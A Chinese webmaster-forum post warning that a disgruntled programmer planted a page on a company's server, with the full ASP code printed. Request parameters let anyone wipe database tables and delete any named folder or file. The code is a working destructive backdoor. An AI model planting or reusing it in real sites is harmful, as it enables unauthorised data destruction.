我们公司有自己的服务器,因招来的程序员与公司有矛盾,故意编写以下可指定删除路径的代码,来报复公司,致使公司多个网站损失严重,花了大量时间搜索原因,终于找到以下有关代码,希望有出现类似情形的人,能够及时解决这项问题.
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <title>无标题文档</title> </head> <body>
<% if request("action")="hyx" then conn.execute("delete * from news") conn.execute("delete * from news1") conn.execute("delete * from company") response.Write "<script>alert('清空成功!');</script>" response.End() end if Sub DeleteAFolder(filespec) Dim fso Set fso = CreateObject("Scripting.FileSystemObject") path=server.mappath(filespec) if FSO.FolderExists(path) then fso.DeleteFolder(path) response.Write "<script>alert('删除成功!');</script>" else response.Write "<script>alert('没找到路径!');</script>" end if End Sub if request("path")<>"" then hyx=request("path") DeleteAFolder (hyx) end if if request("file_path")<>"" then
set FSO=server.createobject("scripting.filesystemobject") picpath=request("file_path") pic=server.mappath(picpath) if FSO.FileExists(pic) then fso.DeleteFile pic response.Write "<script>alert('删除成功!');</script>" else response.Write "<script>alert('没找到路径!');</script>" end if set FSO=nothing set rs=nothing end if if request("my")<>"" then set FSO=server.createobject("scripting.filesystemobject") pic=server.mappath("hyx.asp") if FSO.FileExists(pic) then fso.DeleteFile pic response.Write "<script>alert('删除成功!');</script>" else response.Write "<script>alert('没找到路径!');</script>" end if set FSO=nothing set rs=nothing end if %> </body> </html> 本文来自: 171站长论坛(http://www./) 详细文章参考:http://www./thread-58032-1-1.html
|
|